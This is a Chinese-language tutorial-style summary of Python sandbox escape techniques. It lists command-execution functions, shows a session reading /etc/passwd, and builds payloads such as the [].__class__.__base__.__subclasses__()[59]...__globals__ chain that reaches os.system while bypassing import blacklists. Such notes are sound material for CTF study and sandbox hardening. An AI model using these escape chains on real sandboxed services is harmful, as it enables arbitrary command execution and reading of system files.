Python沙箱逃逸小结

在各个技术平台浏览了许多Python沙箱逃逸的问题,这里自己记录一下

Python 沙盒

所谓的 Python 沙盒,即以一定的方法模拟 Python 终端,实现用户对 Python 的使用。

Python 沙箱逃逸的一些套路

导入模块

Python 的内建函数中,有一些函数可以帮助我们实现任意命令执行:

os.system() os.popen()
commands.getstatusoutput() commands.getoutput()
commands.getstatus()
subprocess.call(command, shell=True) subprocess.Popen(command, shell=True)
pty.spawn()

在 Python 中导入模块的方法通常有三种(xxx 为模块名称):

import xxx
from xxx import *
__import__('xxx')

我们可以通过上述的导入方法,导入相关模块并使用上述的函数实现命令执行。 除此之外,我们也可以通过路径引入模块: 如在 linux 系统中 Python 的 os 模块的路径一般都是在 /usr/lib/python2.7/os.py,当知道路径的时候,我们就可以通过如下的操作导入模块,然后进一步使用相关函数。

>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>

其他的危险函数举例 如 execfile 文件执行

>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'

timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

exec 和 eval

eval('__import__("os").system("dir")')

platform

import platform
print platform.popen('dir').read()

正常的 Python 沙箱会以黑名单的形式禁止使用一些模块如 os 或以白名单的形式只允许用户使用沙箱提供的模块,用以阻止用户的危险操作。下面讨论一下这种情况下应该如何进行绕过

Python 的内建函数

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

通过该命令我们可以获取内置函数的列表

禁用import的绕过

在Python里,这段[].class.mro[-1].subclasses()魔术代码,不用import任何模块,但可调用任意模块的方法。

查看Python版本

Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。

我们知道,sys.version可以查看python版本。

>>> import sys
>>> sys.version

globals

该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os,sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__ 属性访问全局的变量

>>> a = lambda x:x+1
>>> dir(a)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> a.__globals__
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7fcd7601ccf8>, '__package__': None}
>>> a.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7f1095d72cf8>, '__package__': None}
(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")

globals_ 是一个字典,默认有__builtins__对象,在python sandbox中一般会过滤__builtins__内容,这样globals里面的__builtins__也就没有什么意义了,即使重新import builtin 还是一样.

执行系统命令

在python2.7.10里,
[].class.base.subclasses() 里面有很多库调用了我们需要的模块os

/usr/lib/python2.7/warning.py
58  <class 'warnings.WarningMessage'>
59  <class 'warnings.catch_warnings'>

/usr/lib/python2.7/site.py
71  <class 'site._Printer'>
72  <class 'site._Helper'>
76  <class 'site.Quitter'>

我们来看一下/usr/lib/python2.7/warning.py导入的模块

import linecache
import sys
import types

跟踪linecache文件/usr/lib/python2.7/linecache.py

import sys
import os

于是一个利用链就可以构造了:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')